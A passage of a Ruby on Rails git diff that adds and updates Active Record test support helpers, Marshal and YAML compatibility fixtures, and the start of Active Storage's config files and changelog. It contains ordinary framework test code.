+  # Arrange for the server to disconnect the connection, leaving it broken (by
+  # setting, and then sleeping to exceed, a very short timeout). Skips if we
+  # can't do so.
+  def remote_disconnect(connection)
+    if current_adapter?(:PostgreSQLAdapter)
+      # Connection was left in a bad state, need to reconnect to simulate fresh disconnect
+      connection.verify! if connection.instance_variable_get(:@raw_connection).status == ::PG::CONNECTION_BAD
+      unless connection.instance_variable_get(:@raw_connection).transaction_status == ::PG::PQTRANS_INTRANS
+        connection.instance_variable_get(:@raw_connection).async_exec("begin")
+      end
+      connection.instance_variable_get(:@raw_connection).async_exec("set idle_in_transaction_session_timeout = '10ms'")
+      sleep 0.05
+    elsif current_adapter?(:Mysql2Adapter, :TrilogyAdapter)
+      connection.query_command("set @@wait_timeout=1", materialize_transactions: false)
+      sleep 1.2
+    else
+      skip("remote_disconnect unsupported")
+    end
+  end
+
+  def connection_id_from_server(connection)
+    case connection.adapter_name
+    when "Mysql2", "Trilogy"
+      connection.execute("SELECT CONNECTION_ID()").to_a[0][0]
+    when "PostgreSQL"
+      connection.execute("SELECT pg_backend_pid()").to_a[0]["pg_backend_pid"]
+    else
+      skip("connection_id_from_server unsupported")
+    end
+  end
+
+  # Uses a separate connection to admin-kill the connection with the given ID
+  # from the server side. Skips if we can't do so.
+  def kill_connection_from_server(connection_id, pool = ActiveRecord::Base.connection_pool)
+    actor_connection = pool.checkout
+    pool.remove(actor_connection)
+
+    case actor_connection.adapter_name
+    when "Mysql2", "Trilogy"
+      actor_connection.execute("KILL #{connection_id}")
+    when "PostgreSQL"
+      actor_connection.execute("SELECT pg_terminate_backend(#{connection_id})")
+    else
+      skip("kill_connection_from_server unsupported")
+    end
+
+    actor_connection.close
+  end
+end
diff --git a/activerecord/test/support/async_helper.rb b/activerecord/test/support/async_helper.rb
new file mode 100644
index 0000000000000..bb7108a15f485
--- /dev/null
+++ b/activerecord/test/support/async_helper.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module AsyncHelper
+  private
+    def assert_async_equal(expected, async_result)
+      message = "Expected to return an ActiveRecord::Promise, got: #{async_result.inspect}"
+      assert_equal(true, ActiveRecord::Promise === async_result, message)
+
+      if expected.nil?
+        assert_nil async_result.value
+      else
+        assert_equal expected, async_result.value
+      end
+    end
+end
diff --git a/activerecord/test/support/config.rb b/activerecord/test/support/config.rb
index aaff408b41b1c..31071ae582415 100644
--- a/activerecord/test/support/config.rb
+++ b/activerecord/test/support/config.rb
@@ -1,7 +1,8 @@
-require "yaml"
-require "erb"
+# frozen_string_literal: true
+
 require "fileutils"
 require "pathname"
+require "active_support/configuration_file"
 
 module ARTest
   class << self
@@ -10,35 +11,33 @@ def config
     end
 
     private
+      def config_file
+        Pathname.new(ENV["ARCONFIG"] || TEST_ROOT + "/config.yml")
+      end
 
-    def config_file
-      Pathname.new(ENV["ARCONFIG"] || TEST_ROOT + "/config.yml")
-    end
+      def read_config
+        unless config_file.exist?
+          FileUtils.cp TEST_ROOT + "/config.example.yml", config_file
+        end
 
-    def read_config
-      unless config_file.exist?
-        FileUtils.cp TEST_ROOT + "/config.example.yml", config_file
+        expand_config ActiveSupport::ConfigurationFile.parse(config_file)
       end
 
-      erb = ERB.new(config_file.read)
-      expand_config(YAML.parse(erb.result(binding)).transform)
-    end
-
-    def expand_config(config)
-      config["connections"].each do |adapter, connection|
-        dbs = [["arunit", "activerecord_unittest"], ["arunit2", "activerecord_unittest2"],
-               ["arunit_without_prepared_statements", "activerecord_unittest"]]
-        dbs.each do |name, dbname|
-          unless connection[name].is_a?(Hash)
-            connection[name] = { "database" => connection[name] }
+      def expand_config(config)
+        config["connections"].each do |adapter, connection|
+          dbs = [["arunit", "activerecord_unittest"], ["arunit2", "activerecord_unittest2"],
+                 ["arunit_without_prepared_statements", "activerecord_unittest"]]
+          dbs.each do |name, dbname|
+            unless connection[name].is_a?(Hash)
+              connection[name] = { "database" => connection[name] }
+            end
+
+            connection[name]["database"] ||= dbname
+            connection[name]["adapter"]  ||= adapter == "sqlite3_mem" ? "sqlite3" : adapter
           end
-
-          connection[name]["database"] ||= dbname
-          connection[name]["adapter"]  ||= adapter
         end
-      end
 
-      config
-    end
+        config
+      end
   end
 end
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
index bc5af36a287bc..21d96dfd7bcc2 100644
--- a/activerecord/test/support/connection.rb
+++ b/activerecord/test/support/connection.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/logger"
 require "models/college"
 require "models/course"
@@ -9,15 +11,31 @@ def self.connection_name
     ENV["ARCONN"] || config["default_connection"]
   end
 
-  def self.connection_config
-    config["connections"][connection_name]
+  def self.test_configuration_hashes
+    config.fetch("connections").fetch(connection_name) do
+      puts "Connection #{connection_name.inspect} not found. Available connections: #{config['connections'].keys.join(', ')}"
+      exit 1
+    end
   end
 
   def self.connect
-    puts "Using #{connection_name}"
-    ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
-    ActiveRecord::Base.configurations = connection_config
+    ActiveRecord.async_query_executor = :global_thread_pool
+    puts "Using #{connection_name}#{ " with prepared statements" if ENV["MYSQL_PREPARED_STATEMENTS"]}"
+
+    if ENV["BUILDKITE"]
+      ActiveRecord::Base.logger = nil
+    else
+      ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 1, 100.megabytes)
+    end
+
+    ActiveRecord::Base.configurations = test_configuration_hashes
     ActiveRecord::Base.establish_connection :arunit
     ARUnit2Model.establish_connection :arunit2
+
+    arunit_adapter = ActiveRecord::Base.lease_connection.pool.db_config.adapter
+
+    unless connection_name.include?(arunit_adapter)
+      raise ArgumentError, "The connection name did not match the adapter name. Connection name is '#{connection_name}' and the adapter name is '#{arunit_adapter}'."
+    end
   end
 end
diff --git a/activerecord/test/support/connection_helper.rb b/activerecord/test/support/connection_helper.rb
index 4a19e5df44af0..ea8cbd459316c 100644
--- a/activerecord/test/support/connection_helper.rb
+++ b/activerecord/test/support/connection_helper.rb
@@ -1,7 +1,9 @@
+# frozen_string_literal: true
+
 module ConnectionHelper
   def run_without_connection
     original_connection = ActiveRecord::Base.remove_connection
-    yield original_connection
+    yield original_connection.configuration_hash
   ensure
     ActiveRecord::Base.establish_connection(original_connection)
   end
diff --git a/activerecord/test/support/ddl_helper.rb b/activerecord/test/support/ddl_helper.rb
index 43cb235e0162e..fe653ed73084f 100644
--- a/activerecord/test/support/ddl_helper.rb
+++ b/activerecord/test/support/ddl_helper.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 module DdlHelper
   def with_example_table(connection, table_name, definition = nil)
     connection.execute("CREATE TABLE #{table_name}(#{definition})")
     yield
   ensure
-    connection.execute("DROP TABLE #{table_name}")
+    connection.drop_table(table_name)
   end
 end
diff --git a/activerecord/test/support/deprecated_associations_test_helpers.rb b/activerecord/test/support/deprecated_associations_test_helpers.rb
new file mode 100644
index 0000000000000..c77e7dbbc0ed0
--- /dev/null
+++ b/activerecord/test/support/deprecated_associations_test_helpers.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+module DeprecatedAssociationsTestHelpers
+  private
+    def assert_deprecated_association(association, model: @model, context:, &)
+      expected_context = context
+      reported = false
+      mock = ->(reflection, context:) do
+        if reflection.name == association && reflection.active_record == model && expected_context == context
+          reported = true
+        end
+      end
+      ActiveRecord::Associations::Deprecation.stub(:report, mock, &)
+      assert reported, "Expected a notification for #{model}##{association}, but got none"
+    end
+
+    def assert_not_deprecated_association(association, model: @model, &)
+      reported = false
+      mock = ->(reflection, context:) do
+        return if reflection.name != association
+        return if reflection.active_record != model
+        reported = true
+      end
+      ActiveRecord::Associations::Deprecation.stub(:report, mock, &)
+      assert_not reported, "Got a notification for #{model}##{association}, but expected none"
+    end
+
+    def context_for_method(method_name)
+      "the method #{method_name} was invoked"
+    end
+
+    def context_for_dependent
+      ":dependent has a side effect here"
+    end
+
+    def context_for_touch
+      ":touch has a side effect here"
+    end
+
+    def context_for_through(association, model: @model)
+      "referenced as nested association of the through #{model}##{association}"
+    end
+
+    def context_for_preload
+      "referenced in query to preload records"
+    end
+
+    def context_for_join
+      "referenced in query to join its table"
+    end
+end
diff --git a/activerecord/test/support/fake_adapter.rb b/activerecord/test/support/fake_adapter.rb
new file mode 100644
index 0000000000000..0fc6d3900be6f
--- /dev/null
+++ b/activerecord/test/support/fake_adapter.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+class FakeActiveRecordAdapter < ActiveRecord::ConnectionAdapters::AbstractAdapter
+  attr_accessor :data_sources, :primary_keys
+
+  @columns = Hash.new { |h, k| h[k] = [] }
+  class << self
+    attr_reader :columns
+  end
+
+  def initialize(...)
+    super
+    @data_sources = []
+    @primary_keys = {}
+    @columns      = self.class.columns
+  end
+
+  def primary_key(table)
+    @primary_keys[table] || "id"
+  end
+
+  def merge_column(table_name, name, sql_type = nil, options = {})
+    @columns[table_name] << ActiveRecord::ConnectionAdapters::Column.new(
+      name.to_s,
+      lookup_cast_type(sql_type),
+      options[:default],
+      fetch_type_metadata(sql_type),
+      options[:null],
+    )
+  end
+
+  def columns(table_name)
+    @columns[table_name]
+  end
+
+  def data_source_exists?(*)
+    true
+  end
+
+  def active?
+    true
+  end
+end
diff --git a/activerecord/test/support/load_schema_helper.rb b/activerecord/test/support/load_schema_helper.rb
new file mode 100644
index 0000000000000..a35fbba53e7fe
--- /dev/null
+++ b/activerecord/test/support/load_schema_helper.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+module LoadSchemaHelper
+  def load_schema
+    # silence verbose schema loading
+    original_stdout = $stdout
+    $stdout = StringIO.new
+
+    adapter_name = ActiveRecord::Base.lease_connection.adapter_name.downcase
+    adapter_specific_schema_file = SCHEMA_ROOT + "/#{adapter_name}_specific_schema.rb"
+
+    load SCHEMA_ROOT + "/schema.rb"
+
+    if File.exist?(adapter_specific_schema_file)
+      load adapter_specific_schema_file
+    end
+
+    ActiveRecord::FixtureSet.reset_cache
+  ensure
+    $stdout = original_stdout
+  end
+end
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_6_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_6_1_topic.dump
new file mode 100644
index 0000000000000..7803d413e73fc
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_6_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_6_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_6_1_topic_associations.dump
new file mode 100644
index 0000000000000..e9f49fd9a310d
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_6_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_7_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_7_1_topic.dump
new file mode 100644
index 0000000000000..7eae10a1b9f9f
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_7_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_7_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_7_1_topic_associations.dump
new file mode 100644
index 0000000000000..c483498306ba6
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Mysql2/rails_7_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_6_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_6_1_topic.dump
new file mode 100644
index 0000000000000..2a5f775fa13f8
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_6_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_6_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_6_1_topic_associations.dump
new file mode 100644
index 0000000000000..5b75c7bfdbca4
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_6_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_7_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_7_1_topic.dump
new file mode 100644
index 0000000000000..95065cae748bf
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_7_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_7_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_7_1_topic_associations.dump
new file mode 100644
index 0000000000000..874ec5f8b1d26
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/PostgreSQL/rails_7_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_6_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_6_1_topic.dump
new file mode 100644
index 0000000000000..85ff4259eaad9
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_6_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_6_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_6_1_topic_associations.dump
new file mode 100644
index 0000000000000..4232fbbbf9e94
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_6_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_7_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_7_1_topic.dump
new file mode 100644
index 0000000000000..a6ae3ce9a23ae
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_7_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_7_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_7_1_topic_associations.dump
new file mode 100644
index 0000000000000..cb46cbf44f3f3
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/SQLite/rails_7_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_6_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_6_1_topic.dump
new file mode 100644
index 0000000000000..7803d413e73fc
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_6_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_6_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_6_1_topic_associations.dump
new file mode 100644
index 0000000000000..e9f49fd9a310d
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_6_1_topic_associations.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_7_1_topic.dump b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_7_1_topic.dump
new file mode 100644
index 0000000000000..7eae10a1b9f9f
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_7_1_topic.dump differ
diff --git a/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_7_1_topic_associations.dump b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_7_1_topic_associations.dump
new file mode 100644
index 0000000000000..c483498306ba6
Binary files /dev/null and b/activerecord/test/support/marshal_compatibility_fixtures/Trilogy/rails_7_1_topic_associations.dump differ
diff --git a/activerecord/test/support/schema_dumping_helper.rb b/activerecord/test/support/schema_dumping_helper.rb
index 666c1b6a14951..cd95d2ce610b0 100644
--- a/activerecord/test/support/schema_dumping_helper.rb
+++ b/activerecord/test/support/schema_dumping_helper.rb
@@ -1,19 +1,27 @@
+# frozen_string_literal: true
+
 module SchemaDumpingHelper
-  def dump_table_schema(table, connection = ActiveRecord::Base.connection)
+  def dump_table_schema(*tables)
+    pool = ActiveRecord::Base.connection_pool
     old_ignore_tables = ActiveRecord::SchemaDumper.ignore_tables
-    ActiveRecord::SchemaDumper.ignore_tables = connection.data_sources - [table]
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    stream.string
+    pool.with_connection do |connection|
+      ActiveRecord::SchemaDumper.ignore_tables = connection.data_sources - tables
+    end
+
+    output, = capture_io do
+      ActiveRecord::SchemaDumper.dump(pool)
+    end
+    output
   ensure
     ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
   end
 
-  def dump_all_table_schema(ignore_tables)
+  def dump_all_table_schema(ignore_tables = [], pool: ActiveRecord::Base.connection_pool)
     old_ignore_tables, ActiveRecord::SchemaDumper.ignore_tables = ActiveRecord::SchemaDumper.ignore_tables, ignore_tables
-    stream = StringIO.new
-    ActiveRecord::SchemaDumper.dump(ActiveRecord::Base.connection, stream)
-    stream.string
+    output, = capture_io do
+      ActiveRecord::SchemaDumper.dump(pool)
+    end
+    output
   ensure
     ActiveRecord::SchemaDumper.ignore_tables = old_ignore_tables
   end
diff --git a/activerecord/test/support/stubs/strong_parameters.rb b/activerecord/test/support/stubs/strong_parameters.rb
new file mode 100644
index 0000000000000..8e57c7e7762ff
--- /dev/null
+++ b/activerecord/test/support/stubs/strong_parameters.rb
@@ -0,0 +1,40 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/hash/indifferent_access"
+
+class ProtectedParams
+  delegate :keys, :key?, :has_key?, :empty?, to: :@parameters
+
+  def initialize(parameters = {})
+    @parameters = parameters.with_indifferent_access
+    @permitted = false
+  end
+
+  def permitted?
+    @permitted
+  end
+
+  def permit!
+    @permitted = true
+    self
+  end
+
+  def [](key)
+    @parameters[key]
+  end
+
+  def to_h
+    @parameters.to_h
+  end
+  alias to_unsafe_h to_h
+
+  def each_pair(&block)
+    @parameters.each_pair(&block)
+  end
+
+  def dup
+    super.tap do |duplicate|
+      duplicate.instance_variable_set :@permitted, @permitted
+    end
+  end
+end
diff --git a/activerecord/test/support/tools.rb b/activerecord/test/support/tools.rb
new file mode 100644
index 0000000000000..000592d969041
--- /dev/null
+++ b/activerecord/test/support/tools.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+$: << File.expand_path("test", COMPONENT_ROOT)
+
+require "bundler/setup"
+
+require "rails/test_unit/runner"
+require "rails/test_unit/reporter"
+require "rails/test_unit/line_filtering"
+require "active_support"
+require "active_support/test_case"
+
+require "rake/testtask"
+
+Rails::TestUnit::Runner.singleton_class.prepend Module.new {
+   private
+     def list_tests(patterns)
+       tests = super
+       tests.concat FileList["test/cases/adapters/#{adapter_name}/**/*_test.rb"] if patterns.empty?
+       tests
+     end
+
+     def default_test_exclude_glob
+       ENV["DEFAULT_TEST_EXCLUDE"] || "test/cases/adapters/*/*_test.rb"
+     end
+
+     def adapter_name
+       ENV["ARCONN"] || "sqlite3"
+     end
+ }
+
+ActiveSupport::TestCase.extend Rails::LineFiltering
+Rails::TestUnitReporter.app_root = COMPONENT_ROOT
+Rails::TestUnitReporter.executable = "bin/test"
+
+Rails::TestUnit::Runner.parse_options(ARGV)
+Rails::TestUnit::Runner.run(ARGV)
diff --git a/activerecord/test/support/yaml_compatibility_fixtures/rails_4_1_no_symbol.yml b/activerecord/test/support/yaml_compatibility_fixtures/rails_4_1_no_symbol.yml
new file mode 100644
index 0000000000000..14940b59cee96
--- /dev/null
+++ b/activerecord/test/support/yaml_compatibility_fixtures/rails_4_1_no_symbol.yml
@@ -0,0 +1,22 @@
+--- !ruby/object:Topic
+  attributes:
+    id:
+    title: The First Topic
+    author_name: David
+    author_email_address: david@loudthinking.com
+    written_on: 2003-07-16 14:28:11.223300000 Z
+    bonus_time: 2000-01-01 14:28:00.000000000 Z
+    last_read: 2004-04-15
+    content: |
+      ---
+      omg: lol
+    important:
+    approved: false
+    replies_count: 1
+    unique_replies_count: 0
+    parent_id:
+    parent_title:
+    type:
+    group:
+    created_at: 2015-03-10 17:05:42.000000000 Z
+    updated_at: 2015-03-10 17:05:42.000000000 Z
diff --git a/activerecord/test/support/yaml_compatibility_fixtures/rails_v1_mysql.yml b/activerecord/test/support/yaml_compatibility_fixtures/rails_v1_mysql.yml
new file mode 100644
index 0000000000000..b8e6d9ade6f45
--- /dev/null
+++ b/activerecord/test/support/yaml_compatibility_fixtures/rails_v1_mysql.yml
@@ -0,0 +1,206 @@
+--- !ruby/object:Topic
+raw_attributes:
+  id: 1
+  title: The First Topic
+  author_name: David
+  author_email_address: david@loudthinking.com
+  written_on: &5 2003-07-16 14:28:11.223300000 Z
+  bonus_time: &6 2000-01-01 14:28:00.000000000 Z
+  last_read: 2004-04-15
+  content: |
+    --- Have a nice day
+    ...
+  important: 
+  approved: 0
+  replies_count: 1
+  unique_replies_count: 0
+  parent_id: 
+  parent_title: 
+  type: 
+  group: 
+  created_at: &7 2020-06-25 10:25:48.335322000 Z
+  updated_at: &8 2020-06-25 10:25:48.335322000 Z
+attributes: !ruby/object:ActiveRecord::AttributeSet
+  attributes: !ruby/object:ActiveRecord::LazyAttributeHash
+    types:
+      id: &9 !ruby/object:ActiveRecord::Type::Integer
+        precision: 
+        scale: 
+        limit: 
+        range: !ruby/range
+          begin: -2147483648
+          end: 2147483648
+          excl: true
+      title: &10 !ruby/object:ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter::MysqlString
+        precision: 
+        scale: 
+        limit: 250
+      author_name: &1 !ruby/object:ActiveRecord::ConnectionAdapters::AbstractMysqlAdapter::MysqlString
+        precision: 
+        scale: 
+        limit: 255
+      author_email_address: *1
+      written_on: &4 !ruby/object:ActiveRecord::Type::DateTime
+        precision: 6
+        scale: 
+        limit: 
+      bonus_time: &11 !ruby/object:ActiveRecord::Type::Time
+        precision: 0
+        scale: 
+        limit: 
+      last_read: &12 !ruby/object:ActiveRecord::Type::Date
+        precision: 
+        scale: 
+        limit: 
+      content: &13 !ruby/object:ActiveRecord::Type::Serialized
+        subtype: &2 !ruby/object:ActiveRecord::Type::Text
+          precision: 
+          scale: 
+          limit: 65535
+        coder: !ruby/object:ActiveRecord::Coders::YAMLColumn
+          object_class: !ruby/class 'Object'
+        delegate_dc_obj: *2
+      important: *2
+      approved: &14 !ruby/object:ActiveRecord::Type::Boolean
+        precision: 
+        scale: 
+        limit: 
+      replies_count: &3 !ruby/object:ActiveRecord::Type::Integer
+        precision: 
+        scale: 
+        limit: 
+        range: !ruby/range
+          begin: -2147483648
+          end: 2147483648
+          excl: true
+      unique_replies_count: *3
+      parent_id: *3
+      parent_title: *1
+      type: *1
+      group: *1
+      created_at: *4
+      updated_at: *4
+    values:
+      id: 1
+      title: The First Topic
+      author_name: David
+      author_email_address: david@loudthinking.com
+      written_on: *5
+      bonus_time: *6
+      last_read: 2004-04-15
+      content: |
+        --- Have a nice day
+        ...
+      important: 
+      approved: 0
+      replies_count: 1
+      unique_replies_count: 0
+      parent_id: 
+      parent_title: 
+      type: 
+      group: 
+      created_at: *7
+      updated_at: *8
+    additional_types: {}
+    materialized: true
+    delegate_hash:
+      id: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: id
+        value_before_type_cast: 1
+        type: *9
+        original_attribute: 
+      title: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: title
+        value_before_type_cast: The First Topic
+        type: *10
+        original_attribute: 
+      author_name: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: author_name
+        value_before_type_cast: David
+        type: *1
+        original_attribute: 
+      author_email_address: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: author_email_address
+        value_before_type_cast: david@loudthinking.com
+        type: *1
+        original_attribute: 
+      written_on: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: written_on
+        value_before_type_cast: *5
+        type: *4
+        original_attribute: 
+      bonus_time: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: bonus_time
+        value_before_type_cast: *6
+        type: *11
+        original_attribute: 
+      last_read: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: last_read
+        value_before_type_cast: 2004-04-15
+        type: *12
+        original_attribute: 
+      content: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: content
+        value_before_type_cast: |
+          --- Have a nice day
+          ...
+        type: *13
+        original_attribute: 
+      important: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: important
+        value_before_type_cast: 
+        type: *2
+        original_attribute: 
+      approved: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: approved
+        value_before_type_cast: 0
+        type: *14
+        original_attribute: 
+      replies_count: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: replies_count
+        value_before_type_cast: 1
+        type: *3
+        original_attribute: 
+      unique_replies_count: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: unique_replies_count
+        value_before_type_cast: 0
+        type: *3
+        original_attribute: 
+      parent_id: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: parent_id
+        value_before_type_cast: 
+        type: *3
+        original_attribute: 
+      parent_title: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: parent_title
+        value_before_type_cast: 
+        type: *1
+        original_attribute: 
+      type: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: type
+        value_before_type_cast: 
+        type: *1
+        original_attribute: 
+      group: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: group
+        value_before_type_cast: 
+        type: *1
+        original_attribute: 
+      created_at: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: created_at
+        value_before_type_cast: *7
+        type: *4
+        original_attribute: 
+      updated_at: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: updated_at
+        value_before_type_cast: *8
+        type: *4
+        original_attribute: 
+    default_attributes:
+      id: !ruby/object:ActiveRecord::Attribute::FromDatabase
+        name: id
+        value_before_type_cast: 
+        type: *9
+        original_attribute: 
+new_record: false
+active_record_yaml_version: 1
diff --git a/activerecord/test/support/yaml_compatibility_fixtures/rails_v2.yml b/activerecord/test/support/yaml_compatibility_fixtures/rails_v2.yml
new file mode 100644
index 0000000000000..efec6da4d0025
--- /dev/null
+++ b/activerecord/test/support/yaml_compatibility_fixtures/rails_v2.yml
@@ -0,0 +1,55 @@
+--- !ruby/object:Topic
+concise_attributes:
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: id
+  value_before_type_cast: 1
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: title
+  value_before_type_cast: The First Topic
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: author_name
+  value_before_type_cast: David
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: author_email_address
+  value_before_type_cast: david@loudthinking.com
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: written_on
+  value_before_type_cast: '2003-07-16 14:28:11.223300'
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: bonus_time
+  value_before_type_cast: '2000-01-01 14:28:00'
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: last_read
+  value_before_type_cast: '2004-04-15'
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: content
+  value_before_type_cast: |
+    --- Have a nice day
+    ...
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: important
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: approved
+  value_before_type_cast: 0
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: replies_count
+  value_before_type_cast: 1
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: unique_replies_count
+  value_before_type_cast: 0
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: parent_id
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: parent_title
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: type
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: group
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: created_at
+  value_before_type_cast: '2020-06-25 09:52:17.503713'
+- !ruby/object:ActiveModel::Attribute::FromDatabase
+  name: updated_at
+  value_before_type_cast: '2020-06-25 09:52:17.503713'
+new_record: false
+active_record_yaml_version: 2
diff --git a/activestorage/.babelrc b/activestorage/.babelrc
new file mode 100644
index 0000000000000..ed751f87458cf
--- /dev/null
+++ b/activestorage/.babelrc
@@ -0,0 +1,8 @@
+{
+  "presets": [
+    ["env", { "modules": false } ]
+  ],
+  "plugins": [
+    "external-helpers"
+  ]
+}
diff --git a/activestorage/.gitignore b/activestorage/.gitignore
new file mode 100644
index 0000000000000..a0b47dc37819d
--- /dev/null
+++ b/activestorage/.gitignore
@@ -0,0 +1,8 @@
+/src/
+/test/dummy/storage/*.sqlite3
+/test/dummy/storage/*.sqlite3-*
+/test/dummy/db/*.sqlite3
+/test/dummy/db/*.sqlite3-*
+/test/dummy/log/*.log
+/test/dummy/tmp/
+/test/service/configurations.yml
diff --git a/activestorage/CHANGELOG.md b/activestorage/CHANGELOG.md
new file mode 100644
index 0000000000000..dece6e89c0310
--- /dev/null
+++ b/activestorage/CHANGELOG.md
@@ -0,0 +1,91 @@
+*   Analyze attachments before validation
+
+    Attachment metadata (width, height, duration, etc.) is now available for
+    model validations:
+
+    ```ruby
+    class User < ApplicationRecord
+      has_one_attached :avatar
+
+      validate :validate_avatar_dimensions, if: -> { avatar.attached? }
+
+      def validate_avatar_dimensions
+        if avatar.metadata[:width] < 200 || avatar.metadata[:height] < 200
+          errors.add(:avatar, "must be at least 200x200")
+        end
+      end
+    end
+    ```
+
+    Configure when analysis is performed:
+
